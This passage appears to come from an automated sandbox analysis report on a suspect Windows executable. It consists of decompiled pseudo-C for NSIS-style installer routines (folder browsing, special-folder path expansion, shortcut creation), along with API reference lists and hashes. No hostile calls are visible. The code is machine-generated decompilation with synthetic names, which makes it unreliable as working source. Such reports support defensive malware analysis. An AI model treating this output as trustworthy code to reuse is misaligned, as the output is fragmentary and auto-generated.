                                                                                                        					_v12 = GetDlgItem(_t159, 0x3fb);
                                                                                                        					if(E004056C6(_t162) != 0 && E004056ED(_t162) == 0) {
                                                                                                        						E00405659(_t162);
                                                                                                        					}
                                                                                                        					 *0x423678 = _t159;
                                                                                                        					SetWindowTextA(_v12, _t162);
                                                                                                        					_push( *((intOrPtr*)(_a16 + 0x34)));
                                                                                                        					_push(1);
                                                                                                        					E00403F18(_t159);
                                                                                                        					_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                                                        					_push(0x14);
                                                                                                        					E00403F18(_t159);
                                                                                                        					E00403F4D(_v12);
                                                                                                        					_t138 = E00405E88(7);
                                                                                                        					if(_t138 == 0) {
                                                                                                        						L53:
                                                                                                        						return E00403F7F(_a8, _a12, _a16);
                                                                                                        					}
                                                                                                        					 *_t138(_v12, 1);
                                                                                                        					goto L8;
                                                                                                        				}
                                                                                                        			}






































                                                                                                        0x0040435c
                                                                                                        0x00404363
                                                                                                        0x0040436f
                                                                                                        0x0040437d
                                                                                                        0x00404385
                                                                                                        0x00404389
                                                                                                        0x0040438f
                                                                                                        0x0040438f
                                                                                                        0x0040439b
                                                                                                        0x0040440f
                                                                                                        0x00404416
                                                                                                        0x004044eb
                                                                                                        0x004044f2
                                                                                                        0x00404501
                                                                                                        0x00404501
                                                                                                        0x00404505
                                                                                                        0x0040450b
                                                                                                        0x00404518
                                                                                                        0x0040451a
                                                                                                        0x0040451a
                                                                                                        0x00404528
                                                                                                        0x0040452d
                                                                                                        0x00404530
                                                                                                        0x00404537
                                                                                                        0x0040453a
                                                                                                        0x00404571
                                                                                                        0x00404573
                                                                                                        0x00404579
                                                                                                        0x00404580
                                                                                                        0x00404582
                                                                                                        0x00404582
                                                                                                        0x0040459e
                                                                                                        0x004045da
                                                                                                        0x00000000
                                                                                                        0x004045a0
                                                                                                        0x004045a3
                                                                                                        0x004045b7
                                                                                                        0x004045b9
                                                                                                        0x00000000
                                                                                                        0x004045b9
                                                                                                        0x0040453c
                                                                                                        0x00404540
                                                                                                        0x0040456f
                                                                                                        0x0040456f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404542
                                                                                                        0x00404542
                                                                                                        0x0040454f
                                                                                                        0x00404554
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404558
                                                                                                        0x0040455a
                                                                                                        0x0040455a
                                                                                                        0x00404565
                                                                                                        0x00404568
                                                                                                        0x0040456d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040456d
                                                                                                        0x004045c8
                                                                                                        0x004045cf
                                                                                                        0x004045d6
                                                                                                        0x004045dd
                                                                                                        0x004045dd
                                                                                                        0x004045e2
                                                                                                        0x004045e4
                                                                                                        0x004045ec
                                                                                                        0x004045f2
                                                                                                        0x004045f2
                                                                                                        0x00404602
                                                                                                        0x0040460c
                                                                                                        0x00404614
                                                                                                        0x0040462a
                                                                                                        0x00404616
                                                                                                        0x0040461a
                                                                                                        0x0040461a
                                                                                                        0x00404614
                                                                                                        0x0040462f
                                                                                                        0x00404634
                                                                                                        0x00404639
                                                                                                        0x00404642
                                                                                                        0x00404642
                                                                                                        0x0040464b
                                                                                                        0x0040464d
                                                                                                        0x0040464d
                                                                                                        0x00404659
                                                                                                        0x00404661
                                                                                                        0x0040466b
                                                                                                        0x0040466b
                                                                                                        0x00404670
                                                                                                        0x00000000
                                                                                                        0x00404670
                                                                                                        0x0040453a
                                                                                                        0x004044f4
                                                                                                        0x004044fb
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004044fb
                                                                                                        0x0040441c
                                                                                                        0x00404422
                                                                                                        0x0040443c
                                                                                                        0x00404441
                                                                                                        0x0040444b
                                                                                                        0x00404452
                                                                                                        0x00404461
                                                                                                        0x00404464
                                                                                                        0x00404467
                                                                                                        0x0040446e
                                                                                                        0x00404476
                                                                                                        0x00404479
                                                                                                        0x0040447d
                                                                                                        0x00404484
                                                                                                        0x0040448c
                                                                                                        0x004044e4
                                                                                                        0x0040448e
                                                                                                        0x0040448f
                                                                                                        0x00404496
                                                                                                        0x004044a0
                                                                                                        0x004044a8
                                                                                                        0x004044b5
                                                                                                        0x004044c9
                                                                                                        0x004044cd
                                                                                                        0x004044cd
                                                                                                        0x004044c9
                                                                                                        0x004044d2
                                                                                                        0x004044dd
                                                                                                        0x004044dd
                                                                                                        0x0040448c
                                                                                                        0x00000000
                                                                                                        0x00404441
                                                                                                        0x0040442f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00404435
                                                                                                        0x00000000
                                                                                                        0x0040439d
                                                                                                        0x0040439d
                                                                                                        0x004043a9
                                                                                                        0x004043b3
                                                                                                        0x004043c0
                                                                                                        0x004043c0
                                                                                                        0x004043c6
                                                                                                        0x004043cf
                                                                                                        0x004043d8
                                                                                                        0x004043db
                                                                                                        0x004043de
                                                                                                        0x004043e6
                                                                                                        0x004043e9
                                                                                                        0x004043ec
                                                                                                        0x004043f4
                                                                                                        0x004043fb
                                                                                                        0x00404402
                                                                                                        0x00404676
                                                                                                        0x00404688
                                                                                                        0x00404688
                                                                                                        0x0040440d
                                                                                                        0x00000000
                                                                                                        0x0040440d

                                                                                                        APIs
                                                                                                        • GetDlgItem.USER32 ref: 004043A2
                                                                                                        • SetWindowTextA.USER32(?,?), ref: 004043CF
                                                                                                        • SHBrowseForFolderA.SHELL32(?,0041F870,?), ref: 00404484
                                                                                                        • CoTaskMemFree.OLE32(00000000), ref: 0040448F
                                                                                                        • lstrcmpiA.KERNEL32(Call,004204A0,00000000,?,?), ref: 004044C1
                                                                                                        • lstrcatA.KERNEL32(?,Call), ref: 004044CD
                                                                                                        • SetDlgItemTextA.USER32 ref: 004044DD
                                                                                                          • Part of subcall function 0040540B: GetDlgItemTextA.USER32 ref: 0040541E
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
                                                                                                          • Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
                                                                                                          • Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42
                                                                                                        • GetDiskFreeSpaceA.KERNEL32(0041F468,?,?,0000040F,?,0041F468,0041F468,?,00000000,0041F468,?,?,000003FB,?), ref: 00404596
                                                                                                        • MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B1
                                                                                                        • SetDlgItemTextA.USER32 ref: 0040462A
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
                                                                                                        • String ID: A$C:\Users\user\AppData\Local\Temp$Call
                                                                                                        • API String ID: 2246997448-3265145871
                                                                                                        • Opcode ID: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
                                                                                                        • Instruction ID: fa341535892c43c3a67d7fcafb17cb6574160925603278dae289bcadb551eaae
                                                                                                        • Opcode Fuzzy Hash: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
                                                                                                        • Instruction Fuzzy Hash: 2D9170B1900218BBDB11AFA1CD84AAF7BB8EF45314F10847BF704B6291D77C9A41DB59
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 74%
                                                                                                        			E00405B88(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
                                                                                                        				signed int _v8;
                                                                                                        				struct _ITEMIDLIST* _v12;
                                                                                                        				signed int _v16;
                                                                                                        				signed char _v20;
                                                                                                        				signed int _v24;
                                                                                                        				signed char _v28;
                                                                                                        				signed int _t36;
                                                                                                        				CHAR* _t37;
                                                                                                        				signed int _t39;
                                                                                                        				int _t40;
                                                                                                        				char _t50;
                                                                                                        				char _t51;
                                                                                                        				char _t53;
                                                                                                        				char _t55;
                                                                                                        				void* _t63;
                                                                                                        				signed int _t69;
                                                                                                        				signed int _t74;
                                                                                                        				signed int _t75;
                                                                                                        				char _t83;
                                                                                                        				void* _t85;
                                                                                                        				CHAR* _t86;
                                                                                                        				void* _t88;
                                                                                                        				signed int _t95;
                                                                                                        				signed int _t97;
                                                                                                        				void* _t98;
                                                                                                        
                                                                                                        				_t88 = __esi;
                                                                                                        				_t85 = __edi;
                                                                                                        				_t63 = __ebx;
                                                                                                        				_t36 = _a8;
                                                                                                        				if(_t36 < 0) {
                                                                                                        					_t36 =  *( *0x42367c - 4 + _t36 * 4);
                                                                                                        				}
                                                                                                        				_t74 =  *0x423ed8 + _t36;
                                                                                                        				_t37 = 0x422e40;
                                                                                                        				_push(_t63);
                                                                                                        				_push(_t88);
                                                                                                        				_push(_t85);
                                                                                                        				_t86 = 0x422e40;
                                                                                                        				if(_a4 - 0x422e40 < 0x800) {
                                                                                                        					_t86 = _a4;
                                                                                                        					_a4 = _a4 & 0x00000000;
                                                                                                        				}
                                                                                                        				while(1) {
                                                                                                        					_t83 =  *_t74;
                                                                                                        					if(_t83 == 0) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					__eflags = _t86 - _t37 - 0x400;
                                                                                                        					if(_t86 - _t37 >= 0x400) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					_t74 = _t74 + 1;
                                                                                                        					__eflags = _t83 - 0xfc;
                                                                                                        					_a8 = _t74;
                                                                                                        					if(__eflags <= 0) {
                                                                                                        						if(__eflags != 0) {
                                                                                                        							 *_t86 = _t83;
                                                                                                        							_t86 =  &(_t86[1]);
                                                                                                        							__eflags = _t86;
                                                                                                        						} else {
                                                                                                        							 *_t86 =  *_t74;
                                                                                                        							_t86 =  &(_t86[1]);
                                                                                                        							_t74 = _t74 + 1;
                                                                                                        						}
                                                                                                        						continue;
                                                                                                        					}
                                                                                                        					_t39 =  *(_t74 + 1);
                                                                                                        					_t75 =  *_t74;
                                                                                                        					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
                                                                                                        					_a8 = _a8 + 2;
                                                                                                        					_v28 = _t75 | 0x00000080;
                                                                                                        					_t69 = _t75;
                                                                                                        					_v24 = _t69;
                                                                                                        					__eflags = _t83 - 0xfe;
                                                                                                        					_v20 = _t39 | 0x00000080;
                                                                                                        					_v16 = _t39;
                                                                                                        					if(_t83 != 0xfe) {
                                                                                                        						__eflags = _t83 - 0xfd;
                                                                                                        						if(_t83 != 0xfd) {
                                                                                                        							__eflags = _t83 - 0xff;
                                                                                                        							if(_t83 == 0xff) {
                                                                                                        								__eflags = (_t39 | 0xffffffff) - _t95;
                                                                                                        								E00405B88(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
                                                                                                        							}
                                                                                                        							L41:
                                                                                                        							_t40 = lstrlenA(_t86);
                                                                                                        							_t74 = _a8;
                                                                                                        							_t86 =  &(_t86[_t40]);
                                                                                                        							_t37 = 0x422e40;
                                                                                                        							continue;
                                                                                                        						}
                                                                                                        						__eflags = _t95 - 0x1d;
                                                                                                        						if(_t95 != 0x1d) {
                                                                                                        							__eflags = (_t95 << 0xa) + 0x424000;
                                                                                                        							E00405B66(_t86, (_t95 << 0xa) + 0x424000);
                                                                                                        						} else {
                                                                                                        							E00405AC4(_t86,  *0x423ea8);
                                                                                                        						}
                                                                                                        						__eflags = _t95 + 0xffffffeb - 7;
                                                                                                        						if(_t95 + 0xffffffeb < 7) {
                                                                                                        							L32:
                                                                                                        							E00405DC8(_t86);
                                                                                                        						}
                                                                                                        						goto L41;
                                                                                                        					}
                                                                                                        					_t97 = 2;
                                                                                                        					_t50 = GetVersion();
                                                                                                        					__eflags = _t50;
                                                                                                        					if(_t50 >= 0) {
                                                                                                        						L12:
                                                                                                        						_v8 = 1;
                                                                                                        						L13:
                                                                                                        						__eflags =  *0x423f24;
                                                                                                        						if( *0x423f24 != 0) {
                                                                                                        							_t97 = 4;
                                                                                                        						}
                                                                                                        						__eflags = _t69;
                                                                                                        						if(_t69 >= 0) {
                                                                                                        							__eflags = _t69 - 0x25;
                                                                                                        							if(_t69 != 0x25) {
                                                                                                        								__eflags = _t69 - 0x24;
                                                                                                        								if(_t69 == 0x24) {
                                                                                                        									GetWindowsDirectoryA(_t86, 0x400);
                                                                                                        									_t97 = 0;
                                                                                                        								}
                                                                                                        								while(1) {
                                                                                                        									__eflags = _t97;
                                                                                                        									if(_t97 == 0) {
                                                                                                        										goto L29;
                                                                                                        									}
                                                                                                        									_t51 =  *0x423ea4;
                                                                                                        									_t97 = _t97 - 1;
                                                                                                        									__eflags = _t51;
                                                                                                        									if(_t51 == 0) {
                                                                                                        										L25:
                                                                                                        										_t53 = SHGetSpecialFolderLocation( *0x423ea8,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
                                                                                                        										__eflags = _t53;
                                                                                                        										if(_t53 != 0) {
                                                                                                        											L27:
                                                                                                        											 *_t86 =  *_t86 & 0x00000000;
                                                                                                        											__eflags =  *_t86;
                                                                                                        											continue;
                                                                                                        										}
                                                                                                        										__imp__SHGetPathFromIDListA(_v12, _t86);
                                                                                                        										__imp__CoTaskMemFree(_v12);
                                                                                                        										__eflags = _t53;
                                                                                                        										if(_t53 != 0) {
                                                                                                        											goto L29;
                                                                                                        										}
                                                                                                        										goto L27;
                                                                                                        									}
                                                                                                        									__eflags = _v8;
                                                                                                        									if(_v8 == 0) {
                                                                                                        										goto L25;
                                                                                                        									}
                                                                                                        									_t55 =  *_t51( *0x423ea8,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
                                                                                                        									__eflags = _t55;
                                                                                                        									if(_t55 == 0) {
                                                                                                        										goto L29;
                                                                                                        									}
                                                                                                        									goto L25;
                                                                                                        								}
                                                                                                        								goto L29;
                                                                                                        							}
                                                                                                        							GetSystemDirectoryA(_t86, 0x400);
                                                                                                        							goto L29;
                                                                                                        						} else {
                                                                                                        							_t72 = (_t69 & 0x0000003f) +  *0x423ed8;
                                                                                                        							E00405A4D(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423ed8, _t86, _t69 & 0x00000040);
                                                                                                        							__eflags =  *_t86;
                                                                                                        							if( *_t86 != 0) {
                                                                                                        								L30:
                                                                                                        								__eflags = _v16 - 0x1a;
                                                                                                        								if(_v16 == 0x1a) {
                                                                                                        									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
                                                                                                        								}
                                                                                                        								goto L32;
                                                                                                        							}
                                                                                                        							E00405B88(_t72, _t86, _t97, _t86, _v16);
                                                                                                        							L29:
                                                                                                        							__eflags =  *_t86;
                                                                                                        							if( *_t86 == 0) {
                                                                                                        								goto L32;
                                                                                                        							}
                                                                                                        							goto L30;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					__eflags = _t50 - 0x5a04;
                                                                                                        					if(_t50 == 0x5a04) {
                                                                                                        						goto L12;
                                                                                                        					}
                                                                                                        					__eflags = _v16 - 0x23;
                                                                                                        					if(_v16 == 0x23) {
                                                                                                        						goto L12;
                                                                                                        					}
                                                                                                        					__eflags = _v16 - 0x2e;
                                                                                                        					if(_v16 == 0x2e) {
                                                                                                        						goto L12;
                                                                                                        					} else {
                                                                                                        						_v8 = _v8 & 0x00000000;
                                                                                                        						goto L13;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				 *_t86 =  *_t86 & 0x00000000;
                                                                                                        				if(_a4 == 0) {
                                                                                                        					return _t37;
                                                                                                        				}
                                                                                                        				return E00405B66(_a4, _t37);
                                                                                                        			}




























                                                                                                        0x00405b88
                                                                                                        0x00405b88
                                                                                                        0x00405b88
                                                                                                        0x00405b8e
                                                                                                        0x00405b93
                                                                                                        0x00405ba4
                                                                                                        0x00405ba4
                                                                                                        0x00405baf
                                                                                                        0x00405bb1
                                                                                                        0x00405bb6
                                                                                                        0x00405bb9
                                                                                                        0x00405bba
                                                                                                        0x00405bc1
                                                                                                        0x00405bc3
                                                                                                        0x00405bc9
                                                                                                        0x00405bcc
                                                                                                        0x00405bcc
                                                                                                        0x00405da5
                                                                                                        0x00405da5
                                                                                                        0x00405da9
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405bd9
                                                                                                        0x00405bdf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405be5
                                                                                                        0x00405be6
                                                                                                        0x00405be9
                                                                                                        0x00405bec
                                                                                                        0x00405d98
                                                                                                        0x00405da2
                                                                                                        0x00405da4
                                                                                                        0x00405da4
                                                                                                        0x00405d9a
                                                                                                        0x00405d9c
                                                                                                        0x00405d9e
                                                                                                        0x00405d9f
                                                                                                        0x00405d9f
                                                                                                        0x00000000
                                                                                                        0x00405d98
                                                                                                        0x00405bf2
                                                                                                        0x00405bf6
                                                                                                        0x00405c06
                                                                                                        0x00405c0a
                                                                                                        0x00405c11
                                                                                                        0x00405c14
                                                                                                        0x00405c18
                                                                                                        0x00405c1e
                                                                                                        0x00405c21
                                                                                                        0x00405c24
                                                                                                        0x00405c27
                                                                                                        0x00405d42
                                                                                                        0x00405d45
                                                                                                        0x00405d75
                                                                                                        0x00405d78
                                                                                                        0x00405d7d
                                                                                                        0x00405d81
                                                                                                        0x00405d81
                                                                                                        0x00405d86
                                                                                                        0x00405d87
                                                                                                        0x00405d8c
                                                                                                        0x00405d8f
                                                                                                        0x00405d91
                                                                                                        0x00000000
                                                                                                        0x00405d91
                                                                                                        0x00405d47
                                                                                                        0x00405d4a
                                                                                                        0x00405d5f
                                                                                                        0x00405d66
                                                                                                        0x00405d4c
                                                                                                        0x00405d53
                                                                                                        0x00405d53
                                                                                                        0x00405d6e
                                                                                                        0x00405d71
                                                                                                        0x00405d3a
                                                                                                        0x00405d3b
                                                                                                        0x00405d3b
                                                                                                        0x00000000
                                                                                                        0x00405d71
                                                                                                        0x00405c2f
                                                                                                        0x00405c30
                                                                                                        0x00405c36
                                                                                                        0x00405c38
                                                                                                        0x00405c52
                                                                                                        0x00405c52
                                                                                                        0x00405c59
                                                                                                        0x00405c59
                                                                                                        0x00405c60
                                                                                                        0x00405c64
                                                                                                        0x00405c64
                                                                                                        0x00405c65
                                                                                                        0x00405c67
                                                                                                        0x00405ca0
                                                                                                        0x00405ca3
                                                                                                        0x00405cb3
                                                                                                        0x00405cb6
                                                                                                        0x00405cbe
                                                                                                        0x00405cc4
                                                                                                        0x00405cc4
                                                                                                        0x00405d20
                                                                                                        0x00405d20
                                                                                                        0x00405d22
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405cc8
                                                                                                        0x00405ccf
                                                                                                        0x00405cd0
                                                                                                        0x00405cd2
                                                                                                        0x00405cec
                                                                                                        0x00405cfa
                                                                                                        0x00405d00
                                                                                                        0x00405d02
                                                                                                        0x00405d1d
                                                                                                        0x00405d1d
                                                                                                        0x00405d1d
                                                                                                        0x00000000
                                                                                                        0x00405d1d
                                                                                                        0x00405d08
                                                                                                        0x00405d13
                                                                                                        0x00405d19
                                                                                                        0x00405d1b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405d1b
                                                                                                        0x00405cd4
                                                                                                        0x00405cd7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405ce6
                                                                                                        0x00405ce8
                                                                                                        0x00405cea
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405cea
                                                                                                        0x00000000
                                                                                                        0x00405d20
                                                                                                        0x00405cab
                                                                                                        0x00000000
                                                                                                        0x00405c69
                                                                                                        0x00405c6e
                                                                                                        0x00405c84
                                                                                                        0x00405c89
                                                                                                        0x00405c8c
                                                                                                        0x00405d29
                                                                                                        0x00405d29
                                                                                                        0x00405d2d
                                                                                                        0x00405d35
                                                                                                        0x00405d35
                                                                                                        0x00000000
                                                                                                        0x00405d2d
                                                                                                        0x00405c96
                                                                                                        0x00405d24
                                                                                                        0x00405d24
                                                                                                        0x00405d27
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405d27
                                                                                                        0x00405c67
                                                                                                        0x00405c3a
                                                                                                        0x00405c3e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405c40
                                                                                                        0x00405c44
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405c46
                                                                                                        0x00405c4a
                                                                                                        0x00000000
                                                                                                        0x00405c4c
                                                                                                        0x00405c4c
                                                                                                        0x00000000
                                                                                                        0x00405c4c
                                                                                                        0x00405c4a
                                                                                                        0x00405daf
                                                                                                        0x00405db9
                                                                                                        0x00405dc5
                                                                                                        0x00405dc5
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • GetVersion.KERNEL32(?,0041FC78,00000000,00404F3C,0041FC78,00000000), ref: 00405C30
                                                                                                        • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405CAB
                                                                                                        • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405CBE
                                                                                                        • SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405CFA
                                                                                                        • SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00405D08
                                                                                                        • CoTaskMemFree.OLE32(00000000), ref: 00405D13
                                                                                                        • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D35
                                                                                                        • lstrlenA.KERNEL32(Call,?,0041FC78,00000000,00404F3C,0041FC78,00000000), ref: 00405D87
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                                                                        • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                                                        • API String ID: 900638850-1230650788
                                                                                                        • Opcode ID: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
                                                                                                        • Instruction ID: 2bb53c71d9fe9ef1e56bc14ab20fd8486271744d1d3ead2cb2ad614034e11287
                                                                                                        • Opcode Fuzzy Hash: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
                                                                                                        • Instruction Fuzzy Hash: D7510131A04A04AAEF205F64DC88B7B3BA4DF55324F14823BE911B62D0D33C59829E4E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 74%
                                                                                                        			E00402020() {
                                                                                                        				void* _t44;
                                                                                                        				intOrPtr* _t48;
                                                                                                        				intOrPtr* _t50;
                                                                                                        				intOrPtr* _t52;
                                                                                                        				intOrPtr* _t54;
                                                                                                        				signed int _t58;
                                                                                                        				intOrPtr* _t59;
                                                                                                        				intOrPtr* _t62;
                                                                                                        				intOrPtr* _t64;
                                                                                                        				intOrPtr* _t66;
                                                                                                        				intOrPtr* _t69;
                                                                                                        				intOrPtr* _t71;
                                                                                                        				int _t75;
                                                                                                        				signed int _t81;
                                                                                                        				intOrPtr* _t88;
                                                                                                        				void* _t95;
                                                                                                        				void* _t96;
                                                                                                        				void* _t100;
                                                                                                        
                                                                                                        				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
                                                                                                        				_t96 = E004029F6(0xffffffdf);
                                                                                                        				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
                                                                                                        				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
                                                                                                        				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
                                                                                                        				if(E004056C6(_t96) == 0) {
                                                                                                        					E004029F6(0x21);
                                                                                                        				}
                                                                                                        				_t44 = _t100 + 8;
                                                                                                        				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
                                                                                                        				if(_t44 < _t75) {
                                                                                                        					L13:
                                                                                                        					 *((intOrPtr*)(_t100 - 4)) = 1;
                                                                                                        					_push(0xfffffff0);
                                                                                                        				} else {
                                                                                                        					_t48 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
                                                                                                        					if(_t95 >= _t75) {
                                                                                                        						_t52 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
                                                                                                        						_t54 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\jones\\AppData\\Local\\Temp");
                                                                                                        						_t81 =  *(_t100 - 0x14);
                                                                                                        						_t58 = _t81 >> 0x00000008 & 0x000000ff;
                                                                                                        						if(_t58 != 0) {
                                                                                                        							_t88 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
                                                                                                        							_t81 =  *(_t100 - 0x14);
                                                                                                        						}
                                                                                                        						_t59 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
                                                                                                        						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
                                                                                                        							_t71 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
                                                                                                        						}
                                                                                                        						_t62 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
                                                                                                        						_t64 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
                                                                                                        						if(_t95 >= _t75) {
                                                                                                        							_t95 = 0x80004005;
                                                                                                        							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409368, 0x400) != 0) {
                                                                                                        								_t69 =  *((intOrPtr*)(_t100 - 0x34));
                                                                                                        								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409368, 1);
                                                                                                        							}
                                                                                                        						}
                                                                                                        						_t66 =  *((intOrPtr*)(_t100 - 0x34));
                                                                                                        						 *((intOrPtr*)( *_t66 + 8))(_t66);
                                                                                                        					}
                                                                                                        					_t50 =  *((intOrPtr*)(_t100 + 8));
                                                                                                        					 *((intOrPtr*)( *_t50 + 8))(_t50);
                                                                                                        					if(_t95 >= _t75) {
                                                                                                        						_push(0xfffffff4);
                                                                                                        					} else {
                                                                                                        						goto L13;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				E00401423();
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t100 - 4));
                                                                                                        				return 0;
                                                                                                        			}





















                                                                                                        0x00402029
                                                                                                        0x00402033
                                                                                                        0x0040203c
                                                                                                        0x00402046
                                                                                                        0x0040204f
                                                                                                        0x00402059
                                                                                                        0x0040205d
                                                                                                        0x0040205d
                                                                                                        0x00402062
                                                                                                        0x00402073
                                                                                                        0x0040207b
                                                                                                        0x0040215b
                                                                                                        0x0040215b
                                                                                                        0x00402162
                                                                                                        0x00402081
                                                                                                        0x00402081
                                                                                                        0x00402092
                                                                                                        0x00402096
                                                                                                        0x0040209c
